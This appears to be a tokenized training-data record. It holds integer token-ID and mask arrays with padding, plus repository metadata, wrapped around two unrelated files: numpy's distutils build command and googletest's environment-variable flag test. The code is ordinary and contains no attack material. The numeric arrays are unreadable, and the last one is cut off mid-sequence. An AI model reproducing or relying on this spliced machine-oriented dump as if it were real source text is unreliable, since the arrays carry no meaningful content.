63,
5764,
582,
488,
272,
3828,
339,
2435,
63,
18,
275,
8500,
14,
3167,
8,
5950,
14,
3167,
2988,
8,
403,
395,
469,
267,
298,
1364,
582,
298,
12372,
13,
2405,
401,
267,
298,
1205,
582,
298,
3827,
401,
267,
298,
3008,
582,
298,
12372,
13,
2405,
401,
267,
298,
2619,
582,
298,
6765,
401,
267,
298,
929,
582,
298,
384,
401,
267,
298,
5334,
63,
292,
582,
298,
6965,
13,
1780,
13,
2036,
52,
1717,
26,
1165,
26,
2869,
14,
3273,
401,
267,
298,
1102,
582,
298,
2374,
2340,
4587,
401,
267,
298,
7011,
63,
5764,
582,
488,
272,
3828,
272,
7393,
14,
12372,
63,
5950,
14,
525,
8,
1364,
63,
17,
9,
272,
7393,
14,
12372,
63,
5950,
14,
525,
8,
1364,
63,
18,
9,
339,
327,
15018,
83,
446,
445,
5755,
373,
17,
272,
3301,
275,
12158,
14,
6464,
8,
267,
12158,
14,
6464,
2988,
8,
403,
395,
267,
791,
344,
356,
298,
6019,
1789,
69,
2942,
13,
6718,
24,
13,
20,
67,
24,
66,
13,
1257,
1427,
13,
23,
70,
1081,
3129,
556,
11403,
23,
401,
268,
283,
1205,
356,
283,
4561,
297,
268,
283,
890,
356,
6335,
12,
268,
283,
2918,
63,
354,
356,
283,
6464,
536,
297,
268,
283,
2918,
63,
1802,
356,
283,
6464,
1369,
297,
268,
283,
3966,
63,
292,
356,
283,
7280,
13,
614,
13,
1465,
1616,
26,
1216,
26,
383,
297,
268,
283,
2405,
63,
466,
356,
488,
12,
268,
283,
15855,
356,
942,
1552,
272,
536,
2003,
63,
2405,
275,
12158,
14,
6464,
8,
267,
12158,
14,
6464,
2988,
8,
403,
395,
267,
2420,
344,
582,
298,
20,
66,
18264,
617,
16,
13,
22,
69,
2158,
13,
20,
12900,
13,
24,
3175,
13,
1477,
2006,
65,
2333,
70,
17,
67,
301,
401,
268,
298,
1205,
582,
283,
4561,
297,
268,
298,
890,
582,
1616,
12,
268,
298,
2918,
63,
354,
582,
3260,
268,
298,
2918,
63,
1802,
582,
3260,
268,
298,
1782,
582,
3286,
2374,
15,
72,
983,
401,
268,
298,
3966,
63,
292,
582,
283,
6542,
13,
845,
13,
2025,
6155,
26,
1082,
26,
821,
297,
268,
298,
2405,
63,
466,
582,
283,
5650,
63,
466,
63,
17,
297,
268,
298,
15855,
582,
942,
1552,
272,
1163,
63,
2405,
275,
12158,
14,
6464,
8,
267,
12158,
14,
6464,
2988,
8,
403,
395,
267,
791,
344,
356,
298,
12725,
1789,
69,
2942,
13,
6718,
24,
13,
4321,
13,
1257,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
gfyoung/numpy
|
numpy/distutils/command/build.py
|
187
|
1618
|
from __future__ import division, absolute_import, print_function
import os
import sys
from distutils.command.build import build as old_build
from distutils.util import get_platform
from numpy.distutils.command.config_compiler import show_fortran_compilers
class build(old_build):
sub_commands = [('config_cc', lambda *args: True),
('config_fc', lambda *args: True),
('build_src', old_build.has_ext_modules),
] + old_build.sub_commands
user_options = old_build.user_options + [
('fcompiler=', None,
"specify the Fortran compiler type"),
('parallel=', 'j',
"number of parallel jobs"),
]
help_options = old_build.help_options + [
('help-fcompiler', None, "list available Fortran compilers",
show_fortran_compilers),
]
def initialize_options(self):
old_build.initialize_options(self)
self.fcompiler = None
self.parallel = None
def finalize_options(self):
if self.parallel:
try:
self.parallel = int(self.parallel)
except ValueError:
raise ValueError("--parallel/-j argument must be an integer")
build_scripts = self.build_scripts
old_build.finalize_options(self)
plat_specifier = ".%s-%s" % (get_platform(), sys.version[0:3])
if build_scripts is None:
self.build_scripts = os.path.join(self.build_base,
'scripts' + plat_specifier)
def run(self):
old_build.run(self)
|
bsd-3-clause
|
[
504,
636,
2443,
363,
492,
4629,
12,
3679,
63,
646,
12,
870,
63,
1593,
199,
199,
646,
747,
199,
646,
984,
199,
504,
7065,
14,
1531,
14,
1506,
492,
1900,
465,
2269,
63,
1506,
199,
504,
7065,
14,
1974,
492,
664,
63,
3246,
199,
504,
2680,
14,
13350,
14,
1531,
14,
888,
63,
5772,
492,
2498,
63,
18496,
63,
32593,
199,
199,
533,
1900,
8,
1753,
63,
1506,
304,
339,
1007,
63,
4405,
275,
4274,
888,
63,
2055,
297,
258,
2400,
627,
589,
26,
715,
395,
490,
661,
888,
63,
3003,
297,
258,
2400,
627,
589,
26,
715,
395,
490,
661,
1506,
63,
2164,
297,
258,
2269,
63,
1506,
14,
1989,
63,
832,
63,
3112,
395,
490,
1622,
435,
2269,
63,
1506,
14,
954,
63,
4405,
339,
922,
63,
1419,
275,
2269,
63,
1506,
14,
751,
63,
1419,
435,
359,
267,
661,
32070,
4009,
488,
12,
268,
298,
26164,
314,
19998,
6365,
730,
1288,
267,
661,
11887,
4009,
283,
74,
297,
268,
298,
1955,
402,
9861,
9643,
1288,
267,
1622,
339,
1720,
63,
1419,
275,
2269,
63,
1506,
14,
3437,
63,
1419,
435,
359,
267,
661,
3437,
13,
32070,
297,
488,
12,
298,
513,
2808,
19998,
29784,
401,
268,
2498,
63,
18496,
63,
32593,
395,
267,
1622,
339,
347,
8265,
63,
1419,
8,
277,
304,
267,
2269,
63,
1506,
14,
8489,
63,
1419,
8,
277,
9,
267,
291,
14,
32070,
275,
488,
267,
291,
14,
11887,
275,
488,
339,
347,
17284,
63,
1419,
8,
277,
304,
267,
340,
291,
14,
11887,
26,
288,
862,
26,
355,
291,
14,
11887,
275,
1109,
8,
277,
14,
11887,
9,
288,
871,
1722,
26,
355,
746,
1722,
6739,
11887,
22551,
74,
1423,
1471,
506,
376,
3000,
531,
267,
1900,
63,
6429,
275,
291,
14,
1506,
63,
6429,
267,
2269,
63,
1506,
14,
14450,
63,
1419,
8,
277,
9,
267,
20819,
63,
20723,
275,
3680,
5,
83,
3295,
83,
2,
450,
334,
362,
63,
3246,
1062,
984,
14,
1023,
59,
16,
26,
19,
566,
267,
340,
1900,
63,
6429,
365,
488,
26,
288,
291,
14,
1506,
63,
6429,
275,
747,
14,
515,
14,
904,
8,
277,
14,
1506,
63,
1095,
12,
6343,
283,
6429,
7,
435,
20819,
63,
20723,
9,
339,
347,
1255,
8,
277,
304,
267,
2269,
63,
1506,
14,
1065,
8,
277,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
636,
2443,
363,
492,
4629,
12,
3679,
63,
646,
12,
870,
63,
1593,
199,
199,
646,
747,
199,
646,
984,
199,
504,
7065,
14,
1531,
14,
1506,
492,
1900,
465,
2269,
63,
1506,
199,
504,
7065,
14,
1974,
492,
664,
63,
3246,
199,
504,
2680,
14,
13350,
14,
1531,
14,
888,
63,
5772,
492,
2498,
63,
18496,
63,
32593,
199,
199,
533,
1900,
8,
1753,
63,
1506,
304,
339,
1007,
63,
4405,
275,
4274,
888,
63,
2055,
297,
258,
2400,
627,
589,
26,
715,
395,
490,
661,
888,
63,
3003,
297,
258,
2400,
627,
589,
26,
715,
395,
490,
661,
1506,
63,
2164,
297,
258,
2269,
63,
1506,
14,
1989,
63,
832,
63,
3112,
395,
490,
1622,
435,
2269,
63,
1506,
14,
954,
63,
4405,
339,
922,
63,
1419,
275,
2269,
63,
1506,
14,
751,
63,
1419,
435,
359,
267,
661,
32070,
4009,
488,
12,
268,
298,
26164,
314,
19998,
6365,
730,
1288,
267,
661,
11887,
4009,
283,
74,
297,
268,
298,
1955,
402,
9861,
9643,
1288,
267,
1622,
339,
1720,
63,
1419,
275,
2269,
63,
1506,
14,
3437,
63,
1419,
435,
359,
267,
661,
3437,
13,
32070,
297,
488,
12,
298,
513,
2808,
19998,
29784,
401,
268,
2498,
63,
18496,
63,
32593,
395,
267,
1622,
339,
347,
8265,
63,
1419,
8,
277,
304,
267,
2269,
63,
1506,
14,
8489,
63,
1419,
8,
277,
9,
267,
291,
14,
32070,
275,
488,
267,
291,
14,
11887,
275,
488,
339,
347,
17284,
63,
1419,
8,
277,
304,
267,
340,
291,
14,
11887,
26,
288,
862,
26,
355,
291,
14,
11887,
275,
1109,
8,
277,
14,
11887,
9,
288,
871,
1722,
26,
355,
746,
1722,
6739,
11887,
22551,
74,
1423,
1471,
506,
376,
3000,
531,
267,
1900,
63,
6429,
275,
291,
14,
1506,
63,
6429,
267,
2269,
63,
1506,
14,
14450,
63,
1419,
8,
277,
9,
267,
20819,
63,
20723,
275,
3680,
5,
83,
3295,
83,
2,
450,
334,
362,
63,
3246,
1062,
984,
14,
1023,
59,
16,
26,
19,
566,
267,
340,
1900,
63,
6429,
365,
488,
26,
288,
291,
14,
1506,
63,
6429,
275,
747,
14,
515,
14,
904,
8,
277,
14,
1506,
63,
1095,
12,
6343,
283,
6429,
7,
435,
20819,
63,
20723,
9,
339,
347,
1255,
8,
277,
304,
267,
2269,
63,
1506,
14,
1065,
8,
277,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
BigBearGCU/googletest
|
test/gtest_env_var_test.py
|
2408
|
3487
|
#!/usr/bin/env python
#
# Copyright 2008, Google Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""Verifies that Google Test correctly parses environment variables."""
__author__ = 'wan@google.com (Zhanyong Wan)'
import os
import gtest_test_utils
IS_WINDOWS = os.name == 'nt'
IS_LINUX = os.name == 'posix' and os.uname()[0] == 'Linux'
COMMAND = gtest_test_utils.GetTestExecutablePath('gtest_env_var_test_')
environ = os.environ.copy()
def AssertEq(expected, actual):
if expected != actual:
print 'Expected: %s' % (expected,)
print ' Actual: %s' % (actual,)
raise AssertionError
def SetEnvVar(env_var, value):
"""Sets the env variable to 'value'; unsets it when 'value' is None."""
if value is not None:
environ[env_var] = value
elif env_var in environ:
del environ[env_var]
def GetFlag(flag):
"""Runs gtest_env_var_test_ and returns its output."""
args = [COMMAND]
if flag is not None:
args += [flag]
return gtest_test_utils.Subprocess(args, env=environ).output
def TestFlag(flag, test_val, default_val):
"""Verifies that the given flag is affected by the corresponding env var."""
env_var = 'GTEST_' + flag.upper()
SetEnvVar(env_var, test_val)
AssertEq(test_val, GetFlag(flag))
SetEnvVar(env_var, None)
AssertEq(default_val, GetFlag(flag))
class GTestEnvVarTest(gtest_test_utils.TestCase):
def testEnvVarAffectsFlag(self):
"""Tests that environment variable should affect the corresponding flag."""
TestFlag('break_on_failure', '1', '0')
TestFlag('color', 'yes', 'auto')
TestFlag('filter', 'FooTest.Bar', '*')
TestFlag('output', 'xml:tmp/foo.xml', '')
TestFlag('print_time', '0', '1')
TestFlag('repeat', '999', '1')
TestFlag('throw_on_failure', '1', '0')
TestFlag('death_test_style', 'threadsafe', 'fast')
TestFlag('catch_exceptions', '0', '1')
if IS_LINUX:
TestFlag('death_test_use_fork', '1', '0')
TestFlag('stack_trace_depth', '0', '100')
if __name__ == '__main__':
gtest_test_utils.Main()
|
bsd-3-clause
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
1898,
9079,
12,
4475,
3277,
14,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
199,
3,
7647,
26,
199,
3,
199,
3,
258,
627,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
199,
3,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
258,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
199,
3,
4248,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
199,
3,
315,
314,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
199,
3,
4084,
14,
199,
3,
258,
627,
11443,
314,
536,
402,
4475,
3277,
14,
6590,
314,
1561,
402,
2399,
199,
3,
8417,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
7131,
687,
199,
3,
642,
2032,
1928,
2488,
6791,
5313,
4983,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
199,
3,
298,
1179,
2281,
2,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
2334,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
199,
3,
437,
3115,
3104,
9315,
9706,
14,
1621,
4825,
6461,
7000,
2334,
5877,
199,
3,
11489,
1549,
6483,
6262,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
199,
3,
8820,
12,
9836,
12,
1549,
9110,
6736,
334,
6446,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
9838,
1634,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
199,
3,
7126,
12,
1549,
9206,
27,
1549,
9748,
9831,
9,
9802,
9817,
2401,
5258,
1821,
199,
3,
9815,
1634,
5603,
12,
7061,
1621,
7066,
12,
9644,
5603,
12,
1549,
7056,
199,
3,
334,
6446,
9254,
1549,
7334,
9,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
199,
3,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
9726,
1634,
9712,
9784,
14,
199,
199,
624,
21168,
626,
4475,
1379,
6657,
19953,
3734,
2860,
1041,
199,
199,
363,
2502,
363,
275,
283,
20444,
32,
3098,
14,
957,
334,
12674,
1629,
951,
644,
290,
3171,
199,
199,
646,
747,
199,
646,
9088,
63,
396,
63,
1208,
421,
199,
1311,
63,
20509,
275,
747,
14,
354,
508,
283,
343,
7,
199,
1311,
63,
26030,
275,
747,
14,
354,
508,
283,
9228,
7,
436,
747,
14,
16040,
3430,
16,
61,
508,
283,
14091,
7,
199,
199,
10761,
275,
9088,
63,
396,
63,
1208,
14,
28967,
27602,
360,
8385,
63,
1813,
63,
1391,
63,
396,
15452,
199,
199,
2314,
275,
747,
14,
2314,
14,
1574,
342,
421,
199,
318,
10716,
19706,
8,
2062,
12,
3503,
304,
523,
340,
1420,
1137,
3503,
26,
272,
870,
283,
6964,
26,
450,
83,
7,
450,
334,
2062,
4258,
272,
870,
283,
221,
18982,
1061,
26,
450,
83,
7,
450,
334,
6514,
